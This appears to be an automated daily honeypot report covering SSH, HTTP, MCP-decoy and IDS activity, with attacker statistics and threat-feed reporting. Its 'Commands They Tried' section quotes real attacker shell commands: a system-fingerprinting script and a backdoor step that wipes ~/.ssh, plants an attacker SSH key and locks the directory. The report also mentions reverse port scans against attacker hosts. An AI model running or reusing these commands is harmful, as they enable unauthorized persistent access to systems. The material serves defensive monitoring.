Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 91566946b1d8deb0
- aad3f9ba1d6740cc
- 8c6976e5b5410415
- 8d969eef6ecad3c2
- 059a00192592d544
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 130 scanner requests from 22 unique IPs (local, offline).
Top Paths Probed
- /dispatch.asp
- /
- /login
- /goform/set_LimitClient_cfg
- /.env
Top User-Agents
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
- Go-http-client/1.1
- Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **11** reverse port-scans against active attacker IPs. Out of these, **10** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 202 IPs → AbuseIPDB (community confidence scores updated) → 202 IPs → AlienVault OTX (pulse indicators added) → 202 IPs → Blocklist.de (auto-ban list updated) → 202 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
a320480f534776bd aad3f9ba1d6740cc 17f80754644d33ac 28efb68dcba507ec 932f3c1b56257ce8 💻 Commands They Tried
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq cd ~ && rm -rf .ssh && mkdir .ssh && echo $_dqssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr$_dq>>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ nvidia-smi -q | grep $_dqProduct Name$_dq | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9}' || echo 'No' nvidia-smi -q | grep $_dqAttached GPUs$_dq | awk '{print $4}' && echo '' || echo 'No' cd ~; chattr -ia .ssh; lockr -ia .ssh These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 15 de julio de 2026. Recorded 367 SSH connections and 7405 multi-protocol decoy events on HoneyAI, from 209 unique IPs. 202 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 223 login attempts from 74 unique IPs. Attackers executed 141 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 7405 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 135 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 130 HTTP requests from real scanners across 22 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 3 requests from 1 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 319 authentication events from 1 IPs. The SNMP trap received 20 queries from 14 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 11 reverse port scans back to active attacker IPs. Out of these, 10 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 18331 alerts from 382 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.